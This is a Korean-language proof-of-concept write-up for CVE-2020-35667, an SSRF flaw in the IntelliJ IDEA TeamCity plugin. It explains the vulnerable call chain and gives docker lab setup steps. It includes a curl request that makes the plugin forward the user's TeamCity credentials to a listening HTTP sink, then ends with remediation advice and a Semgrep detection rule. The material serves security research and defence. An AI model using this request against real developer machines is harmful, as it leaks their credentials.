
CVE-2020-35667에 대한 개념 증명 익스플로잇, 검증되지 않은 URL 매개변수를 통해 자격 증명 누출로 이어지는 IntelliJ IDEA TeamCity 플러그인의 SSRF 취약점.
면책 고지 아래에 설명된 취약한 동작은 디컴파일된 패치된 아티팩트로부터 경험적으로 검증되었으며, 이는 원래 취약한 플러그인 릴리스가 더 이상 제공되지 않기 때문에 휴리스틱 접근 방식으로 추론된 원래 취약성을 모방하려고 시도합니다. 저장소에는 격리된 실험실 재현에 사용되는 (패치된 버전에서 파생된) 최소 편집된 빌드가 포함된 zip 파일이 포함되어 있습니다.
이 CVE는 IntelliJ IDEA TeamCity 통합 플러그인에 관한 것입니다. 이 플러그인은 IDE와 TeamCity(CI/CD 오케스트레이터이자 빌드 구성 및 기타 아티팩트를 저장하는 아카이브)의 통합을 가능하게 하며, REST/RPC API를 통해 노출됩니다.
플러그인은 로컬에서 몇 개의 HTTP 엔드포인트를 엽니다. 일반적인 시나리오에서는 플러그인이 GUI에 추가한 구성 요소에 의해 호출됩니다. 관찰된 설정에서 이 로컬 서버는 액세스 제어 계층을 구현하지 않으며 사실상 IDE와 TeamCity 서버 간의 미들웨어 역할을 합니다.
플러그인 서버 측 요청 핸들러는 URL에서 사용자 제어 매개변수를 수락하고 이를 사용하여 충분한 검증 없이 패치 다운로드 URL을 구성합니다(CWE-918). 그런 다음 플러그인은 조작된 URL에 HTTP GET을 발행하며, 로그인한 사용자의 인증 헤더(TeamCity 자격 증명)를 전달합니다. TeamCity는 REST/RPC API를 노출하기 때문입니다.
공격자가 개발자 호스트에 도달할 수 있다고 가정하면(예: 피싱, XSS) SSRF(CAPEC-6634) 공격을 실행하여 플러그인이 공격자 제어 호스트에 요청을 보내도록 강제할 수 있습니다. 공격자 제어 호스트는 사용자가 제어하는 매개변수에 인코딩된 엔드포인트에서 수신 대기하며, 이로 인해 자격 증명이 유출됩니다. 이는 예를 들어 발판 또는 측면 이동을 위한 컨텍스트를 설정합니다.
Connection.run() → Connection.doHandle()
요청 URI와 매개변수를 가져오며, params 맵에서 파싱됩니다( file 매개변수 포함).ActivatorBase.handle(res, params, ...) — 가 를 트리거합니다.res == "/patch"handleLoadPatch(params)handleLoadPatch가 작업을 예약하고 최종적으로 UrlUtil.createUrl(params, serverUrl)를 호출합니다. — 이것은 제가 취약하도록 수정한 구성 요소로, file 값이 검증 없이 URL 스킴:주소/경로로 삽입되며 다른 매개변수는 추가됩니다.ActivatorBase.downloadPatch(patchUrl, username, password)가 UsernamePasswordCredentials로 HttpClient를 생성하고 client.executeMethod(get)을 호출하며, 실제 네트워크 요청이 patchUrl로 발행됩니다.내 설정 : TeamCity 2020.2.1, IntelliJ IDEA Community 2018.1.8, 호스트: ARM64 Kali Linux 2025.3. 모든 컨테이너는 에어갭(air-gapped) 상태입니다.
(선택 사항) 격리된 도커 네트워크 생성
docker network create tc-nec
IntelliJ IDEA를 다운로드하여 시작하고, 임시 프로젝트를 생성합니다. zip 파일로 제공된 확장 기능을 로드합니다.
TeamCity 서버 컨테이너 빌드 및 시작 : 관련 아티팩트는 tc-server 폴더에 제공되며, TeamCity 대시보드에 접속하여 임시 TeamCity 환경과 사용자를 생성합니다.
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
악의적인 HTTP 싱크 빌드 및 시작 : 관련 아티팩트는 http-listener 폴더에 제공됩니다.
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(선택 사항) 세부 실행 분석을 위해 추적 심각도로 플러그인 로깅 활성화 : IDE GUI → 디버그 로그 설정 검색 → #jetbrains.buildServer.activation 행 추가 → IDE 재시작
로컬 TeamCity 서버에 연결 : 설정 → 도구 → TeamCity → 서버 추가 및 http://127.0.0.1:8111/로 지정, 생성된 사용자로 로그인
다음 요청 전송
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
싱크 서버가 플러그인 HTTP 요청을 로깅했습니다.
docker exec lab-sink "cat sink.log"
먼저, SDLC에서 보안을 왼쪽으로 이동(shift left)할 것을 제안하고자 합니다. 측정 가능하고 구현 가능한 보안 요구 사항을 명시하고, OWASP ASVS 요구 사항을 지침으로 삼아 포크(fork)하여 애플리케이션 요구 사항에 관련된 코드 관련 사항만 채택하는 것입니다. 애플리케이션 보안 전문가는 이러한 요구 사항을 특정 코드 구성 요소 또는 단일 스니펫에 매핑해야 합니다. 개발자는 이러한 보안 요구 사항을 구현하는 방법(자신의 언어/프레임워크에 내장된 보안 메커니즘을 아는 것)에 대해 교육을 받아야 합니다. 함께 각 요구 사항을 소유 패키지, 클래스 또는 함수에 매핑하고 관련 승인 검사(단위 테스트, SAST 규칙)를 나열하는 매트릭스를 작성해야 하며, 이는 포크된 ASVS 세트에 대한 코드베이스의 준수를 보장합니다.
전체 전달 파이프라인에 여러 보안 검토 게이트가 통합되어야 합니다. 개발자 머신에서 IDE 플러그인 및 사전 커밋 git 훅을 통해 직접, CI 파이프라인의 전체 스캔 및 맞춤형 환경(지속적 배포)에서의 퍼징 기반 DAST에 이르기까지. 오류가 발생하면 빌드/전달이 실패해야 합니다. 이러한 스캔 결과는 지속적으로 집계되고 검토되어 프로세스를 개선하고 거짓 긍정/참 부정을 제거해야 합니다.
다음은 플러그인에서 사용된 http-client 라이브러리를 사용하는 Java에서 사용자 제어 매개변수 검증이 누락된 URL 구축을 탐지하는 샘플 Semgrep 규칙입니다.
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]